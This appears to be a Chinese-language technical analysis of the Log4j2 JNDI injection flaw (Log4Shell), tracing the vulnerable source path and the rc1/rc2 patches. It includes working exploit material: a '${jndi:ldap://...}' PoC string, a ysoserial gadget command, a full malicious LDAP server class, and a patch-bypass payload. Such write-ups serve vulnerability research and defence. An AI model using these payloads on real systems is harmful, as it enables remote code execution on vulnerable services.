0x00 原理
Log4j2
是 Java 开发框架日常使用的日志库,涉及范围广,容易触发
poc 如下
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
后文会提供一个利用环境提供一个利用环境
本次漏洞的 RCE
原理就是经典的 jndi+ldap
注入(jndi 只是其中的一种),利用${xxx}
触发 JndiLookup.lookup
,从而加载远程恶意 payload
达到 RCE
效果,只是这次的触发条件太普遍了,毕竟谁都要打 log 不是
跟随 logger.log
, 你会一直进入到 LoggerConfig.processLogEvent
, 其中关键的地方就是对 event
做了一个 adapter
适配
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
在 adapter
中会进行 encode
,serialize
和 format
, 每个 formatter
都会构造 log 的一部分, 其中的 MessagePatternConverter
存在问题
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) {
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
看一下 format
方法,判断 ${
开头,截取后进入 replace
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
...
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
// 判断 ${
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
// 跟进
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
...
}
}
在 replace
中调用了 resolveVariable
, 而后就是 lookup
典中典
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
// 进入
return resolver.lookup(event, variableName);
}
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
//!!!
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其中 strLookupMap.get(prefix)
包含了多种 lookup
如,java
,date
,market
,ctx
,sys
,env
,lower
,upper
,main
,log4j
其他注入 payload 也会被执行 ${java:runtime}
0x01 trustURLCodebase绕过
RCE 是通过常用的加载远程 class
进行 JNDI
注入的操作,攻击者通过 RMI
服务返回一个 JNDI Naming Reference
,受害者解码 Reference
时会去我们指定的 Codebase
远程地址加载 Factory
类
但是在 JDK 6u132,JDK 7u122,JDK 8u113
中 Java 提升了JNDI 限制了 Naming/Directory
服务中 JNDI Reference
远程加载 Object Factory
类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许从远程的 Codebase
加载 Reference
工厂类。如果需要开启RMI Registry
或者 COS Naming Service Provider
的远程类加载功能,需要将前面说的两个属性值设置为 true
loadClass
中校验 trustURLCodebase
, 而默认为 null
,返回 false
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);
这时候你去看 c_lookup
源码,发现可以直接根据 payload
反序列化,而不需要远程请求
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
}
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} catch (ClassNotFoundException var18) {
NamingException var4 = new NamingException();
var4.setRootCause(var18);
throw var4;
}
} catch (IOException var19) {
NamingException var3 = new NamingException();
var3.setRootCause(var19);
throw var3;
}
}
这直接一个 CC链
打上去, 收工
java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABxxxxxx"));
0x3 CCServer
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
//https://0day.design/2020/02/04/JNDI%E6%B3%A8%E5%85%A5%E9%AB%98%E7%89%88%E6%9C%ACjdk%E7%BB%95%E8%BF%87%E5%AD%A6%E4%B9%A0/
public class CCServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "https://127.0.0.1:80/#Exploit";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: Return Evil Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
//Payload2: Return Evil Serialized Gadget
try {
// java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNy..."));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
0x4 rc1 绕过
rc1
修复把上文的 formatter
替换为了 MessagePatternConverter.SimplePatternConverter
, 同时让用户设置 nolookups
然后在 lookup
中加了protocol
和 host
白名单分别为java
,ladp
,ldaps
和本地,最后兜底一把梭哈不允许 REFERENCE
加载对象
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 允许的host白名单
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
但修复还是留下了漏洞,为了兜底,catch
后还是会走原先的逻辑,那直接构造 ${jndi:ldap://127.0.0.1:1389/ Exploit}
不对空格做编码URI crash
,lookup
正常
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
...
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
0x05 RC2 修复
直接 return
try{
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);